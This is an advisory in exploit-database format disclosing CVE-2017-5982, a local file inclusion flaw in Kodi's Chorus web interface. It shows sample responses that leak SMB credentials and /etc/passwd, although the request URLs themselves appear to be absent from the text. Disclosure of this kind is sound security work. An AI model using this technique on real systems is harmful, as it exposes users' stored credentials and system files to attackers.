# Exploit Title: Kodi - Local File Inclusion # Date: 12 February 2017 # Exploit Author: Eric Flokstra # Vendor Homepage: https://kodi.tv/ # Software Link: https://kodi.tv/download/ # Version: Kodi version 17.1 (Krypton), Chorus version 2.4.2 # Tested on: Linux # CVE: CVE-2017-5982 Kodi (formerly XBMC) is a free and open-source media player software application developed by the XBMC Foundation. Chorus is a web interface for controlling and interacting with Kodi. It is hosted by the Kodi installation. The web interface loads a thumbnail of an image, video or add-on when selecting a category in the left menu with the following request: Insufficient validation of user input is performed on this URL resulting in a local file inclusion vulnerability. This enables attackers to retrieve arbitrary files from the filesystem by changing the location after the '/image/image%3A%2F%2Fa part. <--Examples--> 1) If Kodi is connected to a NAS the following request can be used to obtain plain-text SMB credentials: Response: <passwords><path><from pathversion="1">smb://</from><to pathversion="1">smb://username:password@</to></path></passwords> 2) Request to retrieve the content of /etc/passwd: Response: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin ... -- --------------------------------------------------------------------- PGP Key ID = 0x6D336541EAB627EE Fingerprint = DFBB E38E D848 4658 EC4C D161 6D33 6541 EAB6 27EE https://pgp.mit.edu/pks/lookup?search=erp.flokstra@gmail.com&op=index ---------------------------------------------------------------------
